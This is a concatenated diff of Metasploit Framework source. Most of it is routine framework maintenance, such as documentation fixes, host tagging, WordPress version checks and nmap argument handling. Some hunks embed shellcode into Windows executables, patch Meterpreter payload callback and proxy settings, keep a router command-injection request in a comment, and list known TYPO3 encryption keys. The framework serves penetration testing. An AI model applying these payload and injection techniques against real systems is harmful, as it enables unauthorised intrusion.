if cl[0] && cl[0].length > MAX_PATH
raise ArgumentError, "When application_name is nil the command line module must be less than MAX_PATH #{MAX_PATH} characters (Currently #{cl[0].length})"
end
end
true
end
end

View File

@ -528,7 +528,7 @@ module Services
# Parses out a SERVICE_STATUS struct from the
# lpServiceStatus out parameter
#
# @param (lpServiceStatus)
# @param lpServiceStatus [String] the latest status of calling service
#
# @return [Hash] Containing SERVICE_STATUS values
#

View File

@ -49,7 +49,7 @@ module Msf::HTTP::JBoss::Base
# Try to auto detect the target architecture and platform
#
# @param [Array] The available targets
# @param [Array] available_targets The available targets
# @return [Msf::Module::Target, nil] The detected target or nil
def auto_target(available_targets)
if http_verb == 'HEAD'

View File

@ -7,7 +7,7 @@ module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
# to overcome the size limit in those requests
#
# @param stager_base [String] The name of the base of the stager.
# @param stager_jsp [String] The name name of the jsp stager.
# @param stager_jsp_name [String] The name name of the jsp stager.
# @return [String] The JSP head stager.
def head_stager_jsp(stager_base, stager_jsp_name)
content_var = Rex::Text.rand_text_alpha(8+rand(8))

View File

@ -43,22 +43,42 @@ module Msf::HTTP::Wordpress::Version
# Checks a readme for a vulnerable version
#
# @param [String] plugin_name The name of the plugin
# @param [String] fixed_version The version the vulnerability was fixed in
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
#
# @return [ Msf::Exploit::CheckCode ]
def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil)
def check_plugin_version_from_readme(plugin_name, fixed_version = nil, vuln_introduced_version = nil)
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
end
# Checks the style.css file for a vulnerable version
#
# @param [String] theme_name The name of the theme
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
#
# @return [ Msf::Exploit::CheckCode ]
def check_theme_version_from_style(theme_name, fixed_version = nil, vuln_introduced_version = nil)
style_uri = normalize_uri(wordpress_url_themes, theme_name, 'style.css')
res = send_request_cgi(
'uri' => style_uri,
'method' => 'GET'
)
# No style.css file present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
return extract_and_check_version(res.body.to_s, :style, :theme, fixed_version, vuln_introduced_version)
end
# Checks a readme for a vulnerable version
#
# @param [String] theme_name The name of the theme
# @param [String] fixed_version The version the vulnerability was fixed in
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
#
# @return [ Msf::Exploit::CheckCode ]
def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil)
def check_theme_version_from_readme(theme_name, fixed_version = nil, vuln_introduced_version = nil)
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
end
@ -77,7 +97,7 @@ module Msf::HTTP::Wordpress::Version
nil
end
def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil)
def check_version_from_readme(type, name, fixed_version = nil, vuln_introduced_version = nil)
case type
when :plugin
folder = 'plugins'
@ -99,36 +119,73 @@ module Msf::HTTP::Wordpress::Version
'uri' => readme_url,
'method' => 'GET'
)
# no Readme.txt present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
end
# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = res.body.to_s[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
if res.nil? || res.code != 200
# No readme.txt or Readme.txt present for plugin
return Msf::Exploit::CheckCode::Unknown if type == :plugin
# readme present, but no version number
# Try again using the style.css file
return check_theme_version_from_style(name, fixed_version, vuln_introduced_version) if type == :theme
end
version_res = extract_and_check_version(res.body.to_s, :readme, type, fixed_version, vuln_introduced_version)
if version_res == Msf::Exploit::CheckCode::Detected && type == :theme
# If no version could be found in readme.txt for a theme, try style.css
return check_theme_version_from_style(name, fixed_version, vuln_introduced_version)
else
return version_res
end
end
def extract_and_check_version(body, type, item_type, fixed_version = nil, vuln_introduced_version = nil)
case type
when :readme
# Try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = body[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
when :style
# Try to extract version from style.css
# Example line:
# Version: 1.5.2
version = body[/(?:Version):\s*([0-9a-z.-]+)/i, 1]
else
fail("Unknown file type #{type}")
end
# Could not identify version number
return Msf::Exploit::CheckCode::Detected if version.nil?
vprint_status("#{peer} - Found version #{version} of the #{type}")
vprint_status("#{peer} - Found version #{version} of the #{item_type}")
# Version older than fixed version
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
if fixed_version.nil?
if vuln_introduced_version.nil?
# All versions are vulnerable
return Msf::Exploit::CheckCode::Appears
# vuln_introduced_version provided, check if version is newer
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
# Newer or equal to the version it was introduced
return Msf::Exploit::CheckCode::Appears
else
# Not in range, nut vulnerable
return Msf::Exploit::CheckCode::Safe
end
# version newer than fixed version
else
return Msf::Exploit::CheckCode::Safe
# Version older than fixed version
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
if vuln_introduced_version.nil?
# All versions are vulnerable
return Msf::Exploit::CheckCode::Appears
# vuln_introduced_version provided, check if version is newer
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
return Msf::Exploit::CheckCode::Appears
else
# Not in range, nut vulnerable
return Msf::Exploit::CheckCode::Safe
end
# version newer than fixed version
else
return Msf::Exploit::CheckCode::Safe
end
end
end
end

View File

@ -111,7 +111,6 @@ module Msf
#
# @param opts [Hash]
# @option opts [Rex::Socket::Tcp] :sock
# @return [String]
def safe_get_once(nsock = sock)
data = ''
begin

View File

@ -33,7 +33,7 @@ module Msf
# Builds a MIT Credential Cache principal
#
# @param opts [Hash<{Symbol => <Fixnum, String, Array<String>}>]
# @param opts [Hash<{Symbol => <Fixnum, String, Array<String>>}>]
# @option opts [Fixnum] :name_type
# @option opts [String] :realm
# @option opts [Array<String>] :components

View File

@ -28,7 +28,7 @@ module Banner
fdata = "<< Missing banner: #{pathname} >>"
begin
raise ArgumentError unless File.readable?(pathname)
raise ArgumentError unless File.stat(pathname).size < 4096
raise ArgumentError unless File.stat(pathname).size < 16384
fdata = File.open(pathname) {|f| f.read f.stat.size}
rescue SystemCallError, ArgumentError
nil
@ -47,6 +47,8 @@ module Banner
# Easter egg (always a halloween themed logo): export/set THISISHALLOWEEN=1
elsif ( ENV['THISISHALLOWEEN'] || Time.now.strftime("%m%d") == "1031" )
logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.hwtxt'))
elsif ( ENV['APRILFOOLSPONIES'] || Time.now.strftime("%m%d") == "0401" )
logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.aftxt'))
else
logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.txt'))
logos.concat(Dir.glob(::Msf::Config.user_logos_directory + File::SEPARATOR + '*.txt'))

View File

@ -2973,11 +2973,18 @@ class Core
res << addr
end
when 'LHOST'
rh = self.active_module.datastore["RHOST"]
rh = self.active_module.datastore['RHOST'] || framework.datastore['RHOST']
if rh and not rh.empty?
res << Rex::Socket.source_address(rh)
else
res << Rex::Socket.source_address()
res << Rex::Socket.source_address
# getifaddrs was introduced in 2.1.2
if Socket.respond_to?(:getifaddrs)
ifaddrs = Socket.getifaddrs.find_all { |ifaddr|
((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) && ifaddr.addr.ip?
}
res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
end
end
else
end

View File

@ -220,6 +220,11 @@ class Db
end
def change_host_info(rws, data)
if rws == [nil]
print_error("In order to change the host info, you must provide a range of hosts")
return
end
rws.each do |rw|
rw.each do |ip|
id = framework.db.get_host(:address => ip).id
@ -230,6 +235,11 @@ class Db
end
def change_host_name(rws, data)
if rws == [nil]
print_error("In order to change the host name, you must provide a range of hosts")
return
end
rws.each do |rw|
rw.each do |ip|
id = framework.db.get_host(:address => ip).id
@ -240,6 +250,11 @@ class Db
end
def change_host_comment(rws, data)
if rws == [nil]
print_error("In order to change the comment, you must provide a range of hosts")
return
end
rws.each do |rw|
rw.each do |ip|
id = framework.db.get_host(:address => ip).id
@ -249,12 +264,59 @@ class Db
end
end
def add_host_tag(rws, tag_name)
if rws == [nil]
print_error("In order to add a tag, you must provide a range of hosts")
return
end
rws.each do |rw|
rw.each do |ip|
wspace = framework.db.workspace
host = framework.db.get_host(:workspace => wspace, :address => ip)
if host
possible_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC").limit(1)
tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first)
tag.name = tag_name
tag.hosts = [host]
tag.save! if tag.changed?
end
end
end
end
def delete_host_tag(rws, tag_name)
wspace = framework.db.workspace
tag_ids = []
if rws == [nil]
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name)
found_tags.each do |t|
tag_ids << t.id
end
else
rws.each do |rw|
rw.each do |ip|
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name)
found_tags.each do |t|
tag_ids << t.id
end
end
end
end
tag_ids.each do |id|
tag = Mdm::Tag.find_by_id(id)
tag.hosts.delete
tag.destroy
end
end
def cmd_hosts(*args)
return unless active?
::ActiveRecord::Base.connection_pool.with_connection {
onlyup = false
set_rhosts = false
mode = :search
mode = []
delete_count = 0
rhosts = []
@ -263,7 +325,8 @@ class Db
output = nil
default_columns = ::Mdm::Host.column_names.sort
virtual_columns = [ 'svcs', 'vulns', 'workspace' ]
default_columns << 'tags' # Special case
virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ]
col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
@ -271,9 +334,9 @@ class Db
while (arg = args.shift)
case arg
when '-a','--add'
mode = :add
mode << :add
when '-d','--delete'
mode = :delete
mode << :delete
when '-c'
list = args.shift
if(!list)
@ -297,14 +360,17 @@ class Db
when '-S', '--search'
search_term = /#{args.shift}/nmi
when '-i', '--info'
mode = :new_info
mode << :new_info
info_data = args.shift
when '-n', '--name'
mode = :new_name
mode << :new_name
name_data = args.shift
when '-m', '--comment'
mode = :new_comment
mode << :new_comment
comment_data = args.shift
when '-t', '--tag'
mode << :tag
tag_name = args.shift
when '-h','--help'
print_line "Usage: hosts [ options ] [addr1 addr2 ...]"
print_line
@ -320,6 +386,7 @@ class Db
print_line " -i,--info Change the info of a host"
print_line " -n,--name Change the name of a host"
print_line " -m,--comment Change the comment of a host"
print_line " -t,--tag Add or specify a tag to a range of hosts"
print_line
print_line "Available columns: #{default_columns.join(", ")}"
print_line
@ -338,7 +405,9 @@ class Db
col_names = default_columns + virtual_columns
end
if mode == :add
mode << :search if mode.empty?
if mode == [:add]
host_ranges.each do |range|
range.each do |address|
host = framework.db.find_or_create_host(:host => address)
@ -358,23 +427,41 @@ class Db
# Sentinal value meaning all
host_ranges.push(nil) if host_ranges.empty?
case mode
when :new_info
case
when mode == [:new_info]
change_host_info(host_ranges, info_data)
return
when :new_name
when mode == [:new_name]
change_host_name(host_ranges, name_data)
return
when :new_comment
when mode == [:new_comment]
change_host_comment(host_ranges, comment_data)
return
when mode == [:tag]
begin
add_host_tag(host_ranges, tag_name)
rescue ::Exception => e
if e.message.include?('Validation failed')
print_error(e.message)
else
raise e
end
end
return
when mode.include?(:tag) && mode.include?(:delete)
delete_host_tag(host_ranges, tag_name)
return
end
each_host_range_chunk(host_ranges) do |host_search|
framework.db.hosts(framework.db.workspace, onlyup, host_search).each do |host|
if search_term
next unless host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) }
next unless (
host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) } ||
!Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", framework.db.workspace.id, host.address, search_term.source).order("tags.id DESC").empty?
)
end
columns = col_names.map do |n|
# Deal with the special cases
if virtual_columns.include?(n)
@ -382,6 +469,11 @@ class Db
when "svcs"; host.services.length
when "vulns"; host.vulns.length
when "workspace"; host.workspace.name
when "tags"
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ?", framework.db.workspace.id, host.address).order("tags.id DESC")
tag_names = []
found_tags.each { |t| tag_names << t.name }
found_tags * ", "
end
# Otherwise, it's just an attribute
else
@ -394,7 +486,7 @@ class Db
addr = (host.scope ? host.address.to_s + '%' + host.scope : host.address.to_s )
rhosts << addr
end
if mode == :delete
if mode == [:delete]
host.destroy
delete_count += 1
end
@ -1648,7 +1740,7 @@ class Db
return
end
save = false
arguments = ''
arguments = []
while (arg = args.shift)
case arg
when 'save'
@ -1657,7 +1749,7 @@ class Db
cmd_db_nmap_help
return
else
arguments << arg + ' '
arguments << arg
end
end
@ -1681,15 +1773,15 @@ class Db
# Custom function needed because cygpath breaks on 8.3 dirs
tout = Rex::Compat.cygwin_to_win32(fd.path)
fout = Rex::Compat.cygwin_to_win32(fo.path)
args.push('-oX', tout)
args.push('-oN', fout)
arguments.push('-oX', tout)
arguments.push('-oN', fout)
else
args.push('-oX', fd.path)
args.push('-oN', fo.path)
arguments.push('-oX', fd.path)
arguments.push('-oN', fo.path)
end
begin
nmap_pipe = ::Open3::popen3([nmap, 'nmap'], arguments)
nmap_pipe = ::Open3::popen3([nmap, 'nmap'], *arguments)
temp_nmap_threads = []
temp_nmap_threads << framework.threads.spawn("db_nmap-Stdout", false, nmap_pipe[1]) do |np_1|
np_1.each_line do |nmap_out|

View File

@ -387,8 +387,13 @@ class Driver < Msf::Ui::Driver
if (conf.group?(ConfigGroup))
conf[ConfigGroup].each_pair { |k, v|
case k.downcase
when "activemodule"
when 'activemodule'
run_single("use #{v}")
when 'activeworkspace'
if framework.db.active
workspace = framework.db.find_workspace(v)
framework.db.workspace = workspace if workspace
end
end
}
end
@ -405,6 +410,12 @@ class Driver < Msf::Ui::Driver
group['ActiveModule'] = active_module.fullname
end
if framework.db.active
unless framework.db.workspace.default?
group['ActiveWorkspace'] = framework.db.workspace.name
end
end
# Save it
begin
Msf::Config.save(ConfigGroup => group)

View File

@ -18,6 +18,7 @@ require 'rex/zip'
require 'metasm'
require 'digest/sha1'
require 'msf/core/exe/segment_injector'
require 'msf/core/exe/segment_appender'
##
#
@ -182,12 +183,8 @@ require 'msf/core/exe/segment_injector'
payload = win32_rwx_exec(code)
# Create a new PE object and run through sanity checks
fsize = File.size(opts[:template])
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
text = nil
pe.sections.each {|sec| text = sec if sec.name == ".text"}
#try to inject code into executable by adding a section without affecting executable behavior
if opts[:inject]
injector = Msf::Exe::SegmentInjector.new({
@ -198,6 +195,9 @@ require 'msf/core/exe/segment_injector'
return injector.generate_pe
end
text = nil
pe.sections.each {|sec| text = sec if sec.name == ".text"}
raise RuntimeError, "No .text section found in the template" unless text
unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
@ -205,12 +205,15 @@ require 'msf/core/exe/segment_injector'
end
p_length = payload.length + 256
# If the .text section is too small, append a new section instead
if text.size < p_length
fname = ::File.basename(opts[:template])
msg = "The .text section for '#{fname}' is too small. "
msg << "Minimum is #{p_length.to_s} bytes, your .text section is " +
"#{text.size.to_s} bytes"
raise RuntimeError, msg
appender = Msf::Exe::SegmentAppender.new({
:payload => code,
:template => opts[:template],
:arch => :x86
})
return appender.generate_pe
end
# Store some useful offsets
@ -506,7 +509,8 @@ require 'msf/core/exe/segment_injector'
def self.to_win64pe(framework, code, opts = {})
# Allow the user to specify their own EXE template
set_template_default(opts, "template_x64_windows.exe")
#try to inject code into executable by adding a section without affecting executable behavior
# Try to inject code into executable by adding a section without affecting executable behavior
if opts[:inject]
injector = Msf::Exe::SegmentInjector.new({
:payload => code,
@ -515,8 +519,17 @@ require 'msf/core/exe/segment_injector'
})
return injector.generate_pe
end
opts[:exe_type] = :exe_sub
exe_sub_method(code,opts)
#opts[:exe_type] = :exe_sub
#return exe_sub_method(code,opts)
# Append a new section instead
appender = Msf::Exe::SegmentAppender.new({
:payload => code,
:template => opts[:template],
:arch => :x64
})
return appender.generate_pe
end
# Embeds shellcode within a Windows PE file implementing the Windows

View File

@ -141,9 +141,9 @@ module Rex
def report_web_page(&block)
return unless(in_issue && has_text)
return unless @state[:web_site]
return unless @state[:response_headers]
return unless @state[:uri]
return unless @state[:web_site].present?
return unless @state[:response_headers].present?
return unless @state[:uri].present?
web_page_info = {}
web_page_info[:web_site] = @state[:web_site]
web_page_info[:path] = @state[:uri].path
@ -187,31 +187,21 @@ module Rex
def record_request_and_response
return unless(in_issue && has_text)
return unless @state[:web_site]
return unless @state[:web_site].present?
really_original_traffic = unindent_and_crlf(@text)
split_traffic = really_original_traffic.split(/\r\n\r\n/)
request_headers_text = split_traffic.first
content_length = 0
if request_headers_text =~ /\ncontent-length:\s+([0-9]+)/mni
content_length = $1.to_i
end
if(content_length > 0) and (split_traffic[1].to_s.size >= content_length)
request_body_text = split_traffic[1].to_s[0,content_length]
else
request_body_text = nil
end
response_headers_text = split_traffic[1].to_s[content_length,split_traffic[1].to_s.size].lstrip
request = request_headers_text
return unless(request && response_headers_text)
response_body_text = split_traffic[2]
request_headers, request_body, response_headers, response_body = really_original_traffic.split(/\r\n\r\n/)
return unless(request_headers && response_headers)
req_header = Rex::Proto::Http::Packet::Header.new
res_header = Rex::Proto::Http::Packet::Header.new
req_header.from_s request_headers_text.dup
res_header.from_s response_headers_text.dup
req_header.from_s request_headers.lstrip
res_header.from_s response_headers.lstrip
if response_body.blank?
response_body = ''
end
@state[:request_headers] = req_header
@state[:request_body] = request_body_text
@state[:request_body] = request_body.lstrip
@state[:response_headers] = res_header
@state[:response_body] = response_body_text
@state[:response_body] = response_body.lstrip
end
# Appscan tab-indents which makes parsing a little difficult. They

View File

@ -56,6 +56,36 @@ class X509Certificate
parse_pem(data)
end
#
# Parse a certificate in unified PEM format and retrieve
# the SHA1 hash.
#
# @param [String] ssl_cert
# @return [String]
def self.get_cert_hash(ssl_cert)
hcert = parse_pem(ssl_cert)
unless hcert and hcert[0] and hcert[1]
raise ArgumentError, "Could not parse a private key and certificate"
end
Rex::Text.sha1_raw(hcert[1].to_der)
end
#
# Parse a file that contains a certificate in unified PEM
# format and retrieve the SHA1 hash.
#
# @param [String] ssl_cert_file
# @return [String]
def self.get_cert_file_hash(ssl_cert_file)
data = ''
::File.open(ssl_cert_file, 'rb') do |fd|
data << fd.read(fd.stat.size)
end
get_cert_hash(data)
end
end
end

View File

@ -11,29 +11,23 @@ module Rex
module Patch
# Replace the transport string
def self.patch_transport! blob, ssl
i = blob.index("METERPRETER_TRANSPORT_SSL")
if i
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
blob[i, str.length] = str
end
def self.patch_transport!(blob, ssl)
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str)
end
# Replace the URL
def self.patch_url! blob, url
i = blob.index("https://" + ("X" * 256))
if i
str = url
blob[i, str.length] = str
def self.patch_url!(blob, url)
unless patch_string!(blob, "https://#{'X' * 512}", url)
# If the patching failed this could mean that we are somehow
# working with outdated binaries, so try to patch with the
# old stuff.
patch_string!(blob, "https://#{'X' * 256}", url)
end
end
# Replace the session expiration timeout
def self.patch_expiration! blob, expiration
def self.patch_expiration!(blob, expiration)
i = blob.index([0xb64be661].pack("V"))
if i
@ -44,7 +38,7 @@ module Rex
end
# Replace the session communication timeout
def self.patch_comm_timeout! blob, comm_timeout
def self.patch_comm_timeout!(blob, comm_timeout)
i = blob.index([0xaf79257f].pack("V"))
if i
@ -55,68 +49,71 @@ module Rex
end
# Replace the user agent string with our option
def self.patch_ua! blob, ua
ua = ua[0,255] + "\x00"
i = blob.index("METERPRETER_UA\x00")
if i
blob[i, ua.length] = ua
end
def self.patch_ua!(blob, ua)
patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00")
end
# Activate a custom proxy
def self.patch_proxy! blob, proxyhost, proxyport, proxy_type
def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type)
i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
if i
if proxyhost
if proxyhost.to_s != ""
proxyhost = proxyhost.to_s
proxyport = proxyport.to_s || "8080"
proxyinfo = proxyhost + ":" + proxyport
if proxyport == "80"
proxyinfo = proxyhost
end
if proxy_type.to_s == 'HTTP'
proxyinfo = 'http://' + proxyinfo
else #socks
proxyinfo = 'socks=' + proxyinfo
end
proxyinfo << "\x00"
blob[i, proxyinfo.length] = proxyinfo
end
if proxyhost && proxyhost.to_s != ""
proxyhost = proxyhost.to_s
proxyport = proxyport.to_s || "8080"
proxyinfo = proxyhost + ":" + proxyport
if proxyport == "80"
proxyinfo = proxyhost
end
if proxy_type.to_s.upcase == 'HTTP'
proxyinfo = 'http://' + proxyinfo
else #socks
proxyinfo = 'socks=' + proxyinfo
end
proxyinfo << "\x00"
patch_string!(blob, "METERPRETER_PROXY#{"\x00" * 10}", proxyinfo)
end
end
# Proxy authentification
def self.patch_proxy_auth! blob, proxy_username, proxy_password, proxy_type
def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type)
unless (proxy_username.nil? or proxy_username.empty?) or
(proxy_password.nil? or proxy_password.empty?) or
proxy_type == 'SOCKS'
return if proxy_type.nil? || proxy_type.upcase == 'SOCKS'
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
proxy_username = proxy_username << "\x00"
blob[proxy_username_loc, proxy_username.length] = proxy_username
proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
proxy_password = proxy_password << "\x00"
blob[proxy_password_loc, proxy_password.length] = proxy_password
if proxy_username && !proxy_username.empty?
unless patch_string!(blob, "METERPRETER_USERNAME_PROXY#{"\x00" * 10}",
proxy_username + "\x00")
raise ArgumentError, "Unable to patch Proxy Username"
end
end
if proxy_password && !proxy_password.empty?
unless patch_string!(blob, "METERPRETER_PASSWORD_PROXY#{"\x00" * 10}",
proxy_password + "\x00")
raise ArgumentError, "Unable to patch Proxy Password"
end
end
end
# Patch the ssl cert hash
def self.patch_ssl_check!(blob, ssl_cert_hash)
# SSL cert location is an ASCII string, so no need for
# WCHAR support
if ssl_cert_hash
i = blob.index("METERPRETER_SSL_CERT_HASH\x00")
if i
blob[i, ssl_cert_hash.length] = ssl_cert_hash
end
end
end
# Patch options into metsrv for reverse HTTP payloads
def self.patch_passive_service! blob, options
def self.patch_passive_service!(blob, options)
patch_transport! blob, options[:ssl]
patch_url! blob, options[:url]
patch_expiration! blob, options[:expiration]
patch_comm_timeout! blob, options[:comm_timeout]
patch_ua! blob, options[:ua]
patch_transport!(blob, options[:ssl])
patch_url!(blob, options[:url])
patch_expiration!(blob, options[:expiration])
patch_comm_timeout!(blob, options[:comm_timeout])
patch_ua!(blob, options[:ua])
patch_ssl_check!(blob, options[:ssl_cert_hash])
patch_proxy!(blob,
options[:proxy_host],
options[:proxy_port],
@ -130,6 +127,36 @@ module Rex
end
#
# Patch an ASCII value in the given payload. If not found, try WCHAR instead.
#
def self.patch_string!(blob, search, replacement)
result = false
i = blob.index(search)
if i
blob[i, replacement.length] = replacement
result = true
else
i = blob.index(wchar(search))
if i
r = wchar(replacement)
blob[i, r.length] = r
result = true
end
end
result
end
private
#
# Convert the given ASCII string into a WCHAR string (dumb, but works)
#
def self.wchar(str)
str.to_s.unpack("C*").pack("v*")
end
end
end
end

View File

@ -1,7 +1,7 @@
# -*- coding: binary -*-
module Msf
module Handler
module ReverseHttp
module Rex
module Payloads
module Meterpreter
module UriChecksum
#

View File

@ -48,7 +48,14 @@ class ClientCore < Extension
request = Packet.create_request('core_enumextcmd')
request.add_tlv(TLV_TYPE_STRING, extension_name)
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
begin
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
rescue
# In the case where orphaned shells call back with OLD copies of the meterpreter
# binaries, we end up with a case where this fails. So here we just return the
# empty list of supported commands.
return []
end
# No response?
if response.nil?

View File

@ -114,9 +114,6 @@ module PacketDispatcher
cli.send_response(resp)
end
# Force a closure for older WinInet implementations
self.passive_service.close_client( cli )
rescue ::Exception => e
elog("Exception handling request: #{cli.inspect} #{req.inspect} #{e.class} #{e} #{e.backtrace}")
end
@ -178,7 +175,6 @@ module PacketDispatcher
# Sends a packet and waits for a timeout for the given time interval.
#
def send_request(packet, t = self.response_timeout)
if not t
send_packet(packet)
return nil

View File

@ -187,7 +187,7 @@ module Rex
# Decodes a Kerberos response
#
# @param input [String] the raw response message
# @param data [String] the raw response message
# @return [<Rex::Proto::Kerberos::Model::KrbError, Rex::Proto::Kerberos::Model::KdcResponse>] the kerberos message response
# @raise [RuntimeError] if the response can't be processed
def decode_kerb_response(data)

View File

@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
#spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter on Windows, soon others.
spec.add_runtime_dependency 'meterpreter_bins', '0.0.16'
spec.add_runtime_dependency 'meterpreter_bins', '0.0.17'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler

View File

@ -52,7 +52,7 @@ class Metasploit3 < Msf::Auxiliary
return
end
#check to see if we get HTTP OK
# check to see if we get HTTP OK
if (res.code == 200)
print_status("Okay, Got an HTTP 200 (okay) code. Verifying Server header")
else
@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary
return
end
#Check to verify server reported is a 2wire router
# Check to verify server reported is a 2wire router
if (res.headers['Server'].match(/2wire Gateway/i))
print_status("Server is a 2wire Gateway! Grabbing info\n")
else
@ -88,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary
print_status("Hardware Version: #{hardware}")
end
#Check the Software Version
# Check the Software Version
if res.body.match(/<td class="data">(5\.\d{1,3}\.\d{1,3}\.\d{1,3})<\/td>/i)
ver = $1
print_status("Software version: #{ver}")

View File

@ -71,9 +71,9 @@ class Metasploit3 < Msf::Auxiliary
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
cmd = datastore['CMD']
#original post request:
#data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
#action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="
# original post request:
# data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
# action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="
vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")
begin

View File

@ -20,8 +20,8 @@ class Metasploit3 < Msf::Auxiliary
},
'Author' =>
[
'Craig Heffner', #vulnerability discovery and original exploit
'Michael Messner <devnull[at]s3cur1ty.de>' #metasploit module
'Craig Heffner', # vulnerability discovery and original exploit
'Michael Messner <devnull[at]s3cur1ty.de>' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>

View File

@ -130,7 +130,7 @@ class Metasploit3 < Msf::Auxiliary
return false
end
when 302
#Success!
# Success!
return true
else
print_error("ERROR: received code #{res.code}")

View File

@ -100,20 +100,20 @@ class Metasploit4 < Msf::Auxiliary
else
print_status("Rotating through known encryption keys")
encryption_keys = [
#TYPO3 4.3.x - 4.4.x
# TYPO3 4.3.x - 4.4.x
'd696ab49a803d7816021cb1768a6917d',
'47d1e990583c9c67424d369f3414728e6793d9dc2ae3429d488a7374bc85d2a0b19b62de67d46a6079a75f10934288d3',
'7b13b2203029ed80337f27127a9f1d28c2597f4c08c9a07b782b674731ecf5328c4d900851957899acdc6d4f911bf8b7',
#TYPO3 4.4.7+
# TYPO3 4.4.7+
'fbbdebd9091d914b3cd523485afe7b03e6006ade4125e4cf4c46195b3cecbb9ae0fe0f7b5a9e72ea2ac5f17b66f5abc7',
#TYPO3 4.5.0
# TYPO3 4.5.0
'def76f1d8139304b7edea83b5f40201088ba70b20feabd8b2a647c4e71774b7b0e4086e4039abaf5d4f6a521f922e8a2',
'bac0112e14971f00431639342415ff22c3c3bf270f94175b8741c0fa95df244afb61e483c2facf63cffc320ed61f2731',
#TYPO3 4.5.2
# TYPO3 4.5.2
'14b1225e2c277d55f54d18665791f114f4244f381113094e2a19dfb680335d842e10460995eb653d105a562a5415d9c7',
#TYPO3 4.5.3
# TYPO3 4.5.3
'5d4eede80d5cec8df159fd869ec6d4041cd2fc0136896458735f8081d4df5c22bbb0665ddac56056023e01fbd4ab5283',
#TYPO3 4.5.4 - 4.5.7
# TYPO3 4.5.4 - 4.5.7
'b2aae63def4c512ce8f4386e57b8a48b40312de30775535cbff60a6eab356809a0b596edaad49c725d9963d93aa2ffae',
]
end

View File

@ -29,6 +29,7 @@ class Metasploit3 < Msf::Auxiliary
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-2673'],
['WPVDB', '7808'],
['URL', 'http://blog.rastating.com/wp-easycart-privilege-escalation-information-disclosure']
],

View File

@ -0,0 +1,125 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
